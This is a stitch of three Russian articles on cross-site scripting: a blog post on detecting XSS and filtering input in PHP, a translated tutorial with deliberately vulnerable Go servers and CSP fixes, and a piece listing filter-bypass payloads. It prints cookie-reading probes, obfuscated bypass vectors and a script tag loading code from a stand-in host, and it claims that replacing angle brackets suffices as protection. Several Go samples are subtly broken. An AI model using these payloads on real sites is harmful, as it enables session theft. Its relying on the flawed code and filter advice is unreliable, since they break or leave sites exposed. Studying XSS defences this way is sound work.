Только для читателей Lifeexample возможно открыть интернет-магазин на Moguta.CMS со скидкой в 15%
Здравствуйте, уважаемые читатели блога LifeExample, однажды я уже писал статью о SQL инъекциях и о том, как защитить от них сайт, теперь пришло время продолжить тему защиты сайта и раскрыть вам еще один излюбленный хакерами, способ инъекции вредоносного кода.
В данной статье я бы хотел познакомить вас с понятием xss уязвимость, а также с методами защиты сайта от xss атак.
Что такое XSS
XSS – это сокращение понятия расшифровываемое как «межсайтовый скриптинг». В задачи межсайтового скриптинга и главной целью XSS является получение cookies пользователей атакуемого сайта путем встраивания вредоносного кода в тело HTML страницы.
В отличии от SQL инъекции , данный вид атак, с одной стороны безопасен для сервера и опасен для пользователей сайта. С другой стороны если будут украдены cookies админа, то получив доступ к панели администрирования, у хакера будет больше вероятности добраться и до БД.
Для того чтобы межсайтовый скриптинг сработал, хакеру необходимо выявить хотябы одну xss уязвимость.
Как защититься от xss
Если ваш сайт подвергается XSS атаке, вероятнее всего вы об этом узнаете не скоро, а может, и вовсе не узнаете. Поэтому для защиты от xss атак, нужно предотвращать все подобные попытки, хакеров, на корню.
Чтобы придумать метод защиты от какой либо атаки, нужно знать как эти атаки проводятся и по какому принципу работают, поэтому давайте разбираться с теорией взлома через xss уязвимости.
Как найти xss уязвимость на сайте
Процесс поиска уязвимых мест очень прост и сводится к банальному отбору страниц с формами ввода. После того как вы нашли все страницы с которых пользователи отправляют информацию на сервер, можно начинать выявление xss уязвимости.
Допустим, найденная нами форма ввода является поиском по сайту. Определить является ли эта форма xss уязвимой, можно несколькими способами, подставив в поле одну из следующих инъекций:
- <script>alert(«cookie: «+document.cookie)</script>
- «><script>alert(«cookie: «+document.cookie)</script>
- ‘><»>»><script>alert(«cookie: «+document.cookie)</script>
Если в результате вы увидели нечто подобное:
Значит вы нашли xss уязвимость, и в дальнейшем нужно будет ее защитить от атак.
Если ни один из вариантов не сработал, попробуйте вставить следующие подборки кода:
- <body onload=alert(‘xss Уязвимость’)>
- <img src=javascript:alert(‘Защита от XSS не работает’)>
- <body background=»javascript:alert(‘эй админ закрой xss уязвимости’)» >
- <style type=»text/javascript»>alert(‘Бум бум!’);</style>
Опять ничего не вышло? Тогда можете считать, что данная форма не уязвима к XSS атакам и уже защищена.
Кстати тестировать сайт на уязвимости для XSS , лучше в IE, поэтому если ранее вы подставляли вышеперечисленные действия в другом браузере попробуйте сделать тоже самое теперь в Interner Explorer.
Запомните все найденые XSS уязвимости, и не спешите завершать этап поиска слабых мест.
Кроме форм и полей ввода, XSS уязвимыми могут быть страницы обрабатывающие GET параметры.
Например, страница такого типа http://yourdomain.ru/catalog?p=3 Может оказаться большой дырой в защите сайта.
Подобно действиям проделанным ранее в поле ввода, попробуте подставить в параметр вышеперечисленные строки кода.
http://yourdomain.ru/catalog?p=»><script>alert(«cookie: «+document.cookie)
Вполне вероятно что вы вновь получите сообщение
Выводящее на показ идентификатор сессии пользователя.
Защита от XSS атак
Теперь вы имеете представление о том как проводятся XSS инъекции , и конечно же понимаете что вместо вывода сообщения, информация будет уходить в руки злоумышленника.
Внимание: кульминационный момент!
Для того чтобы защититься от XSS атак и устранить все возможные XSS уязвимости вашего сайта, достаточно перед работой с входными данными пропустить их через фильтр и заменить все опасные спец символы безопасными:
|
1 |
$filter = array(«<«, «>»); |
Этих двух маленьких строчек кода достаточно для избежание больших проблем. Теперь если попытаться внедрить инъекцию через адресную строку или форму ввода
http://yourdomain.ru/searh?q=»><script>alert(«cookie: «+document.cookie)</script>
Никаких сообщений мы больше не увидим, поскольку все скобки в переменной $_GET[‘q’] будут заменены на безопасные символы «|», и JS код станет невыполнимым.
В этом примере показан способ защиты только одной переменной, на практике необходимо будет пропускать через подобный фильтр все входные параметры на всех страницах с XSS уязвимостями.
Для массовой проверки входящих данных, методами POST и GET можно использовать такую функцию:
|
1 |
function defender_xss($arr){ |
Кроме того будет не лишним дополнить фильтр другими символами для фильтрации:
|
1 |
$filter = array(«<«, «>»,«=»,» («,«)»,«;»,«/»); |
Альтернативным способом защиты будет использование штатных PHP функций:
- strip_tags() — удаляет из строки все HTML-теги, кроме разрешённых.
- htmlspecialchars() — заменяет все спецсимволы на их HTML-аналоги.
Будьте аккуратны, strip_tags() можно обойти, используя инъекции подобного рода:
|
1 |
<body onload=alert(‘xss’)> |
Каким образом воруются cookie пользователей?
Не всем сразу может быть ясно, как происходит процесс получения cookie пользователей.
Все дело в том, что после выявления XSS уязвимостей, хакер создает ссылку с вредоносным кодом. В этом коде данные из куков передаются на сторонний сервер, на котором обрабатываются и сохраняются, затем пользователь перенаправляется на страницу обратно. Все это происходит незаметно для человеческого глаза, и поэтому атака остается необнаруженной.
Зараженные ссылки несущие в себе XSS атаки, попадают пользователям разнообразными способами, путем передачи ссылок в соц сетях , атах форумах и др местах скопления юзеров.
Атаки построенные по принципу межсайтингового скриптинга делятся на два типа:
- Активные XSS атаки – подразумевают внедрение ссылки в саму страницу ресурса, сделать это можно путем вставки вредоносного кода в запись БД, или загрузив картинку на сайт указав в ней ссылку с вредоносным кодом.
- Пассивные XSS атаки – пользователь сам должен вставить ссылку в адресную строку или просто кликнуть по ней.
Конечно ссылки предоставляемы хакерами, не выглядят таким образом:
http://yourdomain.ru/searh?q=»><script>alert(«cookie: «+document.cookie)</script>
Существует множество способов закодировать содержание ссылки, таким образом скрыв смысл от жертвы. Кодировать можно в base64, hex, или использовать сторонний сервер для маршрутизации.
- http://hakerserver.com/82qdm6k
- data:text/html;base64,aHR0cDovL2luZm9zZXJ2aWNlNjozMDAwL2luZm8vc2VhcmNoLmh0bWw/cT0iPjxzY3JpcHQ+YWxlcnQoJycpPC9zY3JpcHQ+
- http://infoservice6:3000/info/search.html?q=%22%3E%3Cscript%3Ealert(»)%3C%2Fscript%3E
Согласитесь теперь сложно догадаться о том, что внутри ссылки зашифрован зловредный код. А если снабдиться ссылку красивыми вешанием лапши на уши пользователям и рассказать какая полезна эта ссылка то единицы не перейдут по ней. Но это уже из области социальной инженерии…
В дополнение к вышеприведенному способу защиты, можно использовать и защиту от XSS на сервере, прописав в .htaccess такой код:
|
1 |
Options +FollowSymLinks |
Итак подведем итоги, в статье XSS уязвимость и защита от XSS, мы научились выявлять XSS уязвимости на своем сайте, создали фильтр не допускающий внедрения XSS инъекций, и защитились от XSS атак.
Читайте также похожие статьи:
![]()
![]()
![]()
Чтобы не пропустить публикацию следующей статьи подписывайтесь на рассылку по E-mail или RSS ленту блога.
Перевод публикуется с сокращениями, автор оригинальной статьи Russel Jones.
Межсайтовый
скриптинг (XSS)
– это атака, которая позволяет JavaScript через
один сайт работать с другим. XSS интересен не из-за технической
сложности, а скорее потому, что он эксплуатирует некоторые из основных
механизмов безопасности браузеров и из-за огромной распространенности.
Background
Изначально Всемирная Паутина представляла собой набор статических документов HTML, которые браузер должен был отображать для просмотра пользователями. По мере развития Интернета возрастали и требования к документам, что привело к появлению JavaScript и файлов cookie: скрипты нужны для интерактивности документа, а cookies – чтобы браузеры могли сохранять его состояние.
Появление этих возможностей привело к тому, что браузеры не только визуализируют HTML,
но и вмещают в памяти в качестве API для разработчиков представление,
называемое объектной моделью документа (DOM). DOM предлагает древовидную структуру тегов HTML, а также доступ к файлам cookie для
получения состояния. Со временем модель превратилась из предназначенной преимущественно для чтения структуры в структуру read-write, обновление которой приводит к повторному рендерингу документа.
Как только документы
получили возможность запускать код, браузеры должны были определить контекст
выполнения для программ на JavaScript. Политика, которая была разработана, называется
Same-Origin и по-прежнему является одним из фундаментальных примитивов безопасности
браузера. Изначально в ней утверждалось, что JavaScript в одном документе может
получить доступ только к собственному DOM и к DOM других документов с тем же
происхождением. Позже, когда был добавлен XMLHttpRequest
и Fetch, появилась модифицированная версия Same-Origin. Эти API не могут
выдавать запросы к любому источнику, они могут только читать ответ на запросы
от того же источника.
Что же такое происхождение? Это кортеж протокола, имени хоста и порта документа.
https://www.example.com:443/app
^^^^^ ^^^^^^^^^^^^^^^ ^^^
Scheme Host Port
Политика Same-Origin
отлично помогает смягчать атаки на статические сайты, как показано на рисунке выше.
Однако с атаками на динамические ресурсы, принимающие пользовательский ввод, ситуация
немного сложнее из-за смешивания кода и данных, которая позволяет злоумышленнику
выполнять контролируемый ввод в исходном документе.
Атаки XSS обычно бывают трех видов: рефлективными, хранимыми и основанными на DOM.
Рефлективные и хранимые
XSS-атаки принципиально одинаковы, поскольку полагаются на вредоносный ввод, отправляемый на бекенд и представляющий этот ввод пользователю сервер.
Рефлективные XSS обычно возникают в виде злонамеренно созданной злоумышленником
ссылки, по которой затем переходит жертва. Хранимые XSS происходят, когда
злоумышленник загружает вредоносный ввод. Атаки на основе DOM отличаются тем,
что они происходят исключительно на стороне клиента и включают вредоносный ввод, манипулирующий DOM.
Примеры
Рефлективные атаки XSS
Ниже можно увидеть
простое веб-приложение на Go, которое отражает свой ввод (даже если
это вредоносный скрипт) обратно пользователю. Вы можете использовать это
приложение, сохранив его в файле xss1.go и запустив go run xss1.go.
package main
import (
"fmt"
"log"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-XSS-Protection", "0")
messages, ok := r.URL.Query()["message"]
if !ok {
messages = []string{"hello, world"}
}
fmt.Fprintf(w, "<html><p>%v</p></html>", messages[0])
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
Чтобы увидеть
XSS-атаку, перейдите по уязвимому URL-адресу ниже.
http://localhost:8080?message=<script>alert(1)</script>
Взгляните на источник: сервер вернул документ, который выглядит примерно так, как показано во фрагменте
4. Обратите внимание, как смешение кода и данных позволило произойти этой
атаке.
<html>
<p>
<script>alert(1)</script>
</p>
</html>
Этот пример может
показаться неправдоподобным, поскольку защита XSS была явно отключена. Эта ее форма основана на эвристике с обходными путями для
различных браузеров. Она была отключена для создания кроссбраузерных примеров,
иллюстрирующих основные концепции XSS-атак. Некоторые браузеры
удаляют эту защиту: например, в Google Chrome 78
и выше вам не понадобится строка w.Header().Set(«X-XSS-Protection», «0»), чтобы атака сработала.
Хранимые XSS-атаки
Хранимые XSS-атаки похожи на рефлективные, но пэйлоад поступает из хранилища данных, а не из ввода непосредственно. Например, злоумышленник может загрузить в веб-приложение зловреда, который затем будет показан каждому авторизованному юзеру.
Ниже приведен простой чат, который иллюстрирует этот вид атак. Вы можете сохранить приложение в файле xss2.go и
запустить с помощью команды go run xss2.go.
package main
import (
"fmt"
"log"
"net/http"
"strings"
"sync"
)
var db []string
var mu sync.Mutex
var tmpl = `
<form action="/save">
Message: <input name="message" type="text"><br>
<input type="submit" value="Submit">
</form>
%v
`
func saveHandler(w http.ResponseWriter, r *http.Request) {
mu.Lock()
defer mu.Unlock()
r.ParseForm()
messages, ok := r.Form["message"]
if !ok {
http.Error(w, "missing message", 500)
}
db = append(db, messages[0])
http.Redirect(w, r, "/", 301)
}
func viewHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-XSS-Protection", "0")
w.Header().Set("Content-Type", "text/html; charset=utf-8")
var sb strings.Builder
sb.WriteString("<ul>")
for _, message := range db {
sb.WriteString("<li>" + message + "</li>")
}
sb.WriteString("</ul>")
fmt.Fprintf(w, tmpl, sb.String())
}
func main() {
http.HandleFunc("/", viewHandler)
http.HandleFunc("/save", saveHandler)
log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
Чтобы увидеть атаку
XSS, перейдите по ссылке http://localhost:8080 и введите сообщение <script>alert(1);</script>.
Атака делится на две
фазы:
- пейлоад сохраняется в хранилище данных в функции storeHandler;
- когда страница визуализируется во ViewHandler, пейлоад добавляется к выходным данным.
XSS-атаки на основе DOM
Такие атаки не связаны с бекендом и происходят исключительно на стороне клиента. Они интересны тем, что современные веб-приложения перемещают логику к клиенту, а атаки происходят, когда пользователь напрямую манипулирует DOM. Хорошей новостью для злоумышленников является то, что DOM имеет широкий спектр способов эксплуатации, наиболее популярными из которых являются innerHTML и document.write.
Ниже приведен пример обслуживающего статический контент веб-приложения. Код тот же, что и в
примере с рефлективными XSS, но здесь атака будет происходить полностью на
стороне клиента. Вы можете сохранить приложение в файле xss3.go и запустить его командой go run xss3.go.
package main
import (
"fmt"
"log"
"net/http"
)
const content = `
<html>
<head>
<script>
window.onload = function() {
var params = new URLSearchParams(window.location.search);
p = document.getElementById("content")
p.innerHTML = params.get("message")
};
</script>
</head>
<body>
<p id="content"></p>
</body>
</html>
`
func handler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-XSS-Protection", "0")
fmt.Fprintf(w, content)
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
Чтобы увидеть эту
атаку, перейдите по ссылке http://localhost:8080/?message=»<img src=1 onerror=alert(1);/>». Обратите внимание, что вектор атаки немного
отличается и innerHTML не будет
выполнять скрипт напрямую, однако он добавит HTML-элементы, которые затем выполнят код на JavaScript. В приведенном примере добавляется элемент image, который запускает скрипт при возникновении ошибки (она всегда появляется, поскольку злоумышленник подставляет неверный источник).
Если хотите напрямую добавить
элемент скрипта, придется использовать другой приемник XSS. Замените
элемент script из фрагмента 6 элементом script из фрагмента 7 и перейдите
по следующей ссылке: http://localhost:8080/?message=»<script>alert(1);</script>». Атака сработает, потому что document.write принимает элементы
скрипта напрямую.
<script>
window.onload = function() {
var params = new URLSearchParams(window.location.search);
document.open();
document.write(params.get("message"));
document.close();
};
</script>
Связанные направления атак
Хотя обычно их не называют атаками XSS, существует несколько связанных направлений, о которых стоит упомянуть.
Content-type
Всему виной
неправильная настройка типа содержимого ответов HTTP. Это может произойти как
на уровне бекенда (ответ имеет неверный набор заголовков Content-Type), так и при попытке браузера проснифферить тип MIME.
Internet Explorer был особенно восприимчив к этому, и классическим примером
является служба загрузки изображений: злоумышленник может загрузить JavaScript вместо картинки.
Браузер видит, что тип контента был установлен на image/jpg, но пейлоад содержит скрипт – он выполняется, что приводит к атаке XSS.
Urlschemes
Следующий тип атаки –
активность через URL со схемой JavaScript. Представим веб-сайт, который
позволяет пользователю контролировать цель ссылки, как показано во фрагменте 8. В этом случае злоумышленник сможет предоставить
URL, выполняющий некий JavaScript с помощью нашей схемы.
Чтобы опробовать этот
тип атаки, можно сохранить приложение в файле xss4.go, запустить командой go run xss4.go и перейти по ссылке http://localhost:8080?link=javascript:alert(1).
package main
import (
"fmt"
"log"
"net/http"
)
func handler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-XSS-Protection", "0")
links, ok := r.URL.Query()["link"]
if !ok {
messages = []string{"example.com"}
}
fmt.Fprintf(w, `<html><p><a href="%v">Next</p></html>`, links[0])
}
func main() {
http.HandleFunc("/", handler)
log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
Избавление
Единого метода
решения данной проблемы не существует, иначе XSS не был бы
такой распространенной проблемой. Фундаментальная сложность вызвана отсутствием разделения между кодом и данными. Смягчение последствий XSS
обычно включает очистку входных данных (нужно убедиться, что они не
содержат кода), экранирование выходных данных (они также не должны содержать код) и реструктуризацию приложения таким образом, чтобы код
загружался из строго определенных конечных точек.
Валидация входных данных
Первая линия защиты – проверка входных данных. Убедитесь, что их формат соответствует ожидаемым характеристикам – эдакий белый список, гарантирующий отсутствие у приложения возможности принимать код.
Валидация
данных – сложная проблема. Не существует универсального инструмента или техники
для всех ситуаций. Лучше всего структурировать приложение таким образом, чтобы
оно требовало от разработчиков продумать тип принимаемых данных и обеспечить
удобное место, где можно разместить валидатор.
Хороший тон написания
приложений на Go состоит в том, чтобы не иметь никакой логики приложения в
обработчиках запросов HTTP, а вместо этого использовать их для анализа и проверки входных данных. Затем данные отправляются
в обрабатывающую логику структуру. Обработчики запросов становятся
простыми и обеспечивают удобное централизованное расположение для контроля
правильности очистки данных.
На фрагменте 9
показано, как можно переписать saveHandler для приема символов ASCII [A-Za-z.].
func saveHandler(w http.ResponseWriter, r *http.Request) {
r.ParseForm()
messages, ok := r.Form["message"]
if !ok {
http.Error(w, "missing message", 500)
}
re := regexp.MustCompile(`^[A-Za-z\.]+$`)
if re.Find([]byte(messages[0]))) == "" {
http.Error(w, "invalid message", 500)
}
db.Append(messages[0])
http.Redirect(w, r, "/", 301)
}
Может показаться, что
это излишнее беспокойство, но чат-приложение принимает гораздо больше, чем ограниченный набор символов. Многие принимаемые приложениями данные достаточно структурированы: адреса, номера телефонов,
почтовые индексы и тому подобные вещи могут и должны быть
проверены.
Экранирование
Следующий шаг – экранирование вывода. В случае с нашим чатом все извлеченное из базы данных включалось непосредственно в выходной документ.
Одно и то же приложение
может быть гораздо безопаснее (даже если в него была произведена инъекция кода),
если экранировать все небезопасные выходные данные. Именно это делает пакет
html/template в Go. Использование языка шаблонов и
контекстно-зависимого синтаксического анализатора для экранирования данных до
их визуализации уменьшит вероятность выполнения вредоносного кода.
Ниже приведен пример
использования пакета html/template. Сохраните приложение в файле xss5.go, а затем выполните командой go run xss5.go.
package main
import (
"bytes"
"html/template"
"io"
"log"
"net/http"
"sync"
)
var db []string
var mu sync.Mutex
var tmpl = `
<form action="/save">
Message: <input name="message" type="text"><br>
<input type="submit" value="Submit">
</form>
<ul>
{{range .}}
<li>{{.}}</li>
{{end}}
</ul>`
func saveHandler(w http.ResponseWriter, r *http.Request) {
mu.Lock()
defer mu.Unlock()
r.ParseForm()
messages, ok := r.Form["message"]
if !ok {
http.Error(w, "missing message", 500)
}
db = append(db, messages[0])
http.Redirect(w, r, "/", 301)
}
func viewHandler(w http.ResponseWriter, r *http.Request) {
w.Header().Set("X-XSS-Protection", "0")
w.Header().Set("Content-Type", "text/html; charset=utf-8")
t := template.New("view")
t, err := t.Parse(tmpl)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
var buf bytes.Buffer
err = t.Execute(&buf, db)
if err != nil {
http.Error(w, err.Error(), 500)
return
}
io.Copy(w, &buf)
}
func main() {
http.HandleFunc("/", viewHandler)
http.HandleFunc("/save", saveHandler)
log.Fatal(http.ListenAndServe("127.0.0.1:8080", nil))
}
Опробуйте использованную ранее атаку XSS, перейдя по ссылке http://localhost:8080 и введите <script>alert(1);</script>.
Обратите внимание, что предупреждение не было вызвано.
Откройте консоль браузера и посмотрите на элемент li в DOM. Интерес представляют два
свойства: innerHTML и innerText.
innerHTML: "<script>alert(1);</script>"
innerText: "<script>alert(1);</script>"
Обратите внимание, как
с помощью экранирования удалось четко разделить код и данные.
Content Security Policy
Content Security Policy (CSP) позволяет веб-приложениям определять набор доверенных источников для загрузки контента (например, скриптов). CSP можно использовать для разделения кода и данных, отказываясь от встроенных скриптов и загружая их только из определенных источников.
Написание CSP для
небольших автономных приложений является простой задачей – начните с политики,
которая по умолчанию запрещает все источники, а затем разрешите небольшой их набор.
Однако написать эффективный CSP для больших сайтов уже не так просто. Как
только сайт начинает загружать контент из внешних источников, CSP раздувается и
становится громоздким. Некоторые разработчики сдаются и включают директиву unsafe-inline, полностью разрушая теорию
CSP.
Чтобы упростить
написание CSP, в CSP3 вводится директива strict-dynamic.
Вместо того чтобы поддерживать большой белый список надежных источников,
приложение генерирует случайное число (nonce) каждый раз, когда запрашивается
страница. Этот nonce отправляется вместе с заголовками страницы и встроен в тег
script, что заставляет браузеры доверять этим скриптам с соответствующим nonce,
а также любым скриптам, которые они могут загрузить. Вместо
того, чтобы вносить скрипты в белый список и пытаться выяснить, какие еще сценарии они загружают, а затем пополнять белый список рекурсивно,
вам нужно достаточно внести в белый список импортируемый скрипт верхнего уровня.
Используя предложенный Google подход Strict CSP, рассмотрим простое приложение, принимающее
пользовательский ввод. Сохраните его в файле xss6.go, а затем выполните командой go run xss6.go.
package main
import (
"bytes"
"crypto/rand"
"encoding/base64"
"fmt"
"html/template"
"log"
"net/http"
"strings"
)
const scriptContent = `
document.addEventListener('DOMContentLoaded', function () {
var updateButton = document.getElementById("textUpdate");
updateButton.addEventListener("click", function() {
var p = document.getElementById("content");
var message = document.getElementById("textInput").value;
p.innerHTML = message;
});
};
`
const htmlContent = `
<html>
<head>
<script src="script.js" nonce="{{ . }}"></script>
</head>
<body>
<p id="content"></p>
<div class="input-group mb-3">
<input type="text" class="form-control" id="textInput">
<div class="input-group-append">
<button class="btn btn-outline-secondary" type="button" id="textUpdate">Update</button>
</div>
</div>
<blockquote class="twitter-tweet" data-lang="en">
<a href="https://twitter.com/jack/status/20?ref_src=twsrc%5Etfw">March 21, 2006</a>
</blockquote>
<script async src="https://platform.twitter.com/widgets.js"
nonce="{{ . }}" charset="utf-8"></script>
</body>
</html>
`
func generateNonce() (string, error) {
buf := make([]byte, 16)
_, err := rand.Read(buf)
if err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(buf), nil
}
func generateHTML(nonce string) (string, error) {
var buf bytes.Buffer
t, err := template.New("htmlContent").Parse(htmlContent)
if err != nil {
return "", err
}
err = t.Execute(&buf, nonce)
if err != nil {
return "", err
}
return buf.String(), nil
}
func generatePolicy(nonce string) string {
s := fmt.Sprintf(`'nonce-%v`, nonce)
var contentSecurityPolicy = []string{
`object-src 'none';`,
fmt.Sprintf(`script-src %v 'strict-dynamic';`, s),
`base-uri 'none';`,
}
return strings.Join(contentSecurityPolicy, " ")
}
func scriptHandler(w http.ResponseWriter, r *http.Request) {
nonce, err := generateNonce()
if err != nil {
returnError()
return
}
w.Header().Set("X-XSS-Protection", "0")
w.Header().Set("Content-Type", "application/javascript; charset=utf-8")
w.Header().Set("Content-Security-Policy", generatePolicy(nonce))
fmt.Fprintf(w, scriptContent)
}
func htmlHandler(w http.ResponseWriter, r *http.Request) {
nonce, err := generateNonce()
if err != nil {
returnError()
return
}
w.Header().Set("X-XSS-Protection", "0")
w.Header().Set("Content-Type", "text/html; charset=utf-8")
w.Header().Set("Content-Security-Policy", generatePolicy(nonce))
htmlContent, err := generateHTML(nonce)
if err != nil {
returnError()
return
}
fmt.Fprintf(w, htmlContent)
}
func returnError() {
http.Error(w, http.StatusText(http.StatusInternalServerError),
http.StatusInternalServerError)
}
func main() {
http.HandleFunc("/script.js", scriptHandler)
http.HandleFunc("/", htmlHandler)
log.Fatal(http.ListenAndServe(":8080", nil))
}
Чтобы попытаться
использовать приложение, перейдите по ссылке: http://localhost:8080 и
попробуйте отправить <img src=1 onerror»alert(1)»/> как и раньше. Эта атака сработала бы и без CSP, но
поскольку CSP не допускает inline-скриптов, вы должны увидеть примерно такой вывод в консоли браузера:
«Отказано в выполнении встроенного обработчика событий, поскольку он нарушает следующую директиву CSP: «script-src ‘nonce-XauzABRw9QtE0bzoiRmslQ==’ ‘unsafe-inline’ ‘unsafe-eval’ ‘strict-dynamic’ https: http:» Обратите внимание, что ‘unsafe-inline‘ игнорируется, если в исходном списке присутствует либо хэш, либо значение nonce.»
Почему сценарий не
запустился? Рассмотрим CSP подробнее.
script-src 'strict-dynamic' 'nonce-XauzABRw9QtE0bzoiRmslQ==';
object-src 'none';
base-uri 'none';
Что делает эта политика? Директива script-src включает strict-dynamic и значение nonce, используемое для загрузки скриптов. Это означает, что единственные скрипты, которые будут загружены, находятся в script elements, где nonce включен в атрибут, а значит inline-скрипты не загрузятся. Последние две директивы препятствуют загрузке плагинов и изменению базового URL приложения.
Основная сложность
использования этого подхода заключается в необходимости генерировать nonce и инжектить его в заголовки при каждой загрузке страницы. После этого шаблон
может быть применен ко всем загружаемым страницам.
Соответствующие методы устранения
Content-Type
Вы
должны не только устанавливать свой Content-Type, но и следить, чтобы браузеры не
пытались автоматически определить тип контента. Для этого используйте заголовок: X-Content-Type-Options:
nosniff.
Virtual doms
Хотя виртуальные домены
не являются функцией безопасности, использующие их современные фреймворки (React и Vue) могут помочь смягчить атаки XSS на основе DOM.
Эти фреймворки создают DOM параллельно с тем, который находится в браузере, и сравнивают их. Отличающуюся часть DOM браузера они обновляют. Для этого необходимо создать виртуальный DOM, что приведет к уменьшению использования клиентами innerHTML и подтолкнет разработчиков к переходу на innerText.
React требует
использования атрибута dangerouslySetInnerHTML, в то время как создатели Vue предупреждают, что использование
innerHTML может привести к появлению уязвимостей.
Заключение
Если вы дочитали до
конца, у вас может появиться желание разобраться, как работают браузеры, что такое ошибки
XSS и насколько важно понимать, как от них избавиться. XSS трудно искоренить, поскольку приложения становятся все больше и все сложнее. Применяя упомянутые в статье методы, можно сделать жизнь злоумышленников трудной.
Удачи в борьбе и учебе!
Дополнительные материалы:
- Где используется язык программирования Go?
- Конкурентность в Golang и WorkerPool
- Язык Go: как стать востребованным программистом
- 12 бесплатных ресурсов для изучения React
- 7 советов изучающему Vue.js новичку
Время прочтения
8 мин
Просмотры 34K
Несмотря на большое количество рекомендаций по защите веб-приложения от клиент-сайд атак, таких как XSS (cross site scripting) многие разработчики ими пренебрегают, либо выполняют эти требования не полностью. В статье будут рассмотрены способы обхода средств фильтрации и при эксплуатации xss-векторов.
Сейчас существует довольно много способов предотвращения XSS-уязвимостей, включая защитные средства современных браузеров, пытающихся предотвратить выполнение вредоносного кода, воздействующего на пользователя. Тем не менее XSS уязвимости на протяжении последних лет уверенно входят в первую тройку OWASP. XSS уязвимости встречаются как на малопосещаемых проектах, так и на крупных — например можно посмотреть подборку последних public disclosed уязвимостей проекта hackerone — львиную долю из них занимают как раз xss уязвимости. Это касается и довольно распространенных CMS — последняя (на момент публикации статьи) версия WordPress 4.7.3. закрывает несколько XSS уязвимостей.
Защита
Основные превентивные меры:
- валидация данных
- преобразование вывода
На практике это должно быть реализовано в виде:
- исключения всех недоверенных данных из контекста (body, атрибуты, JavaScript, CSS или URL);
- использование «белых списков» на строне сервера (проверка длины, формата, логики и.д.);
- использование специализированных средств очистки данных (OWASP AntiSamy или Java HTML Sanitizer Project);
- использование атрибута HttpOnly;
- использование Content Security Policy.
Не давайте использовать недоверенные данные:
<script>...XSS...</script> в script
<!--....XSS...--> в HTML комментарии
<div ...XSS...=test /> в имени атрибута
<...XSS...... href="/test" /> в имени тега
<style>...XSS...</style> в CSS
Не давайте использовать недоверенные данные в содержимом HTML элемента:
<body> ... очищаем данные ... </ body>
<div> ... очищаем данные ... </ div>
Используйте преобразование сущностей:
& --> &
< --> <
> --> >
" --> "
' --> ' ( ' не рекомендуется)
/ --> /
Методов защиты довольно много, но одним из самых эффективных является использование Content Security Policy.
Content Security Policy
Ранее, одним из главных принципов безопасности браузеров являлась политика Same Origin Policy. Ее суть заключается в проверке трех компонентов, из которых состоит origin: протокол, хост и порт. Однако при внедрении пейлода с одного сайта на другой SOP будет бесполезен для сайта с внедренным пейлоадом. Поэтому на смену SOP пришел CSP, основное предназначение которого состоит в том, чтобы защитить пользователя от угроз межсайтового выполнения сценариев. CSP описывает безопасные источники загрузки ресурсов, устанавливает правила использования встроенных стилей, скриптов, а также динамической оценки JavaScript. Самое главное — загрузка с ресурсов, не входящих в «белый список», блокируется.
Поддерживаемые директивы:
- Default-src: определение политики загрузки для всех типов ресурсов в случае, если определенная директива типа ресурса не определена (резервная);
- Script-src: какие скрипты могут использовать защищенный ресурс;
- Object-src: откуда ресурс может загружать плагины;
- Style-src: какие стили (CSS) пользователь применяет к защищенному ресурсу;
- Img -src: откуда защищенный ресурс может загружать изображения;
- Media-src: откуда защищенный ресурс может загружать видео и аудио;
- Frame-src: где защищенный ресурс может вставлять кадры;
- Font-src: где защищенный ресурс может загружать шрифты;
- Connect-src: какие URI могут быть загружены защищенным ресурсом;
- Form-action: какие URI могут использоваться как результат работы HTML-формы;
- Sandbox: определяет политику «песочницы HTML»;
- Script-nonce: выполнение сценария, требуя наличия указанного nonce для элементов сценария;
- Plugin-types: набор плагинов, которые могут быть вызваны защищенным ресурсом, путем ограничения типов ресурсов, которые могут быть встроены;
- Reflection-xss: активировать или деактивировать любые проверки, используемые для фильтрации или блокирования отраженных атак между сайтами, эквивалентные нестандартному заголовку X-XSS-Protection;
- Report-uri: указывает URI, на который агент пользователя отправляет отчеты о нарушении правил.
Выявление XSS уязвимостей
В качестве проверки наличия уязвимости можно использовать XSS-локаторы или зонды:
Простейший зонд:
'';!--"<XSS>=&{()}
Простейший JavaScript XSS:
<SCRIPT SRC=http://xss/xss.js></SCRIPT>
Пример нескольких пейлоадов для обхода возможной фильтрации:
'">><marquee><img src=x onerror=confirm(1)></marquee>"></plaintext></|><plaintext/onmouseover=prompt(1)>
<script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->"></script>
<script>alert(document.cookie)</script>">
<img/id="confirm(1)"/alt="/"src="/"onerror=eval(id)>'">
Директива JavaScript:
<IMG SRC="javascript:alert('XSS');">
Регистронезависимый вектор:
<IMG SRC=JaVaScRiPt:alert('XSS')>
Обработчики событий могут быть использованы для внедрения XSS-пейлоада:
FSCommand
onAbort
onActivate
onAfterPrint
onAfterUpdate
onBeforeActivate
onBeforeCopy
onBeforeCut
onBeforeDeactivate
onBeforeEditFocus
onBeforePaste
onBeforePrint
onBeforeUnload
onBeforeUpdate
onBegin
onBlur
onBounce
onCellChange
onChange
onClick
onContextMenu
onControlSelect
onCopy
onCut
onDataAvailable
onDataSetChanged
onDataSetComplete
onDblClick
onDeactivate
onDrag
onDragEnd
onDragLeave
onDragEnter
onDragOver
onDragDrop
onDragStart
onDrop
onEnd
onError
onErrorUpdate
onFilterChange
onFinish
onFocus
onFocusIn
onFocusOut
onHashChange
onHelp
onInput
onKeyDown
onKeyPress
onKeyUp
onLayoutComplete
onLoad
onLoseCapture
onMediaComplete
onMediaError
onMessage
onMouseDown
onMouseEnter
onMouseLeave
onMouseMove
onMouseOut
onMouseOver
onMouseUp
onMouseWheel
onMove
onMoveEnd
onMoveStart
onOffline
onOnline
onOutOfSync
onPaste
onPause
onPopState
onProgress
onPropertyChange
onReadyStateChange
onRedo
onRepeat
onReset
onResize
onResizeEnd
onResizeStart
onResume
onReverse
onRowsEnter
onRowExit
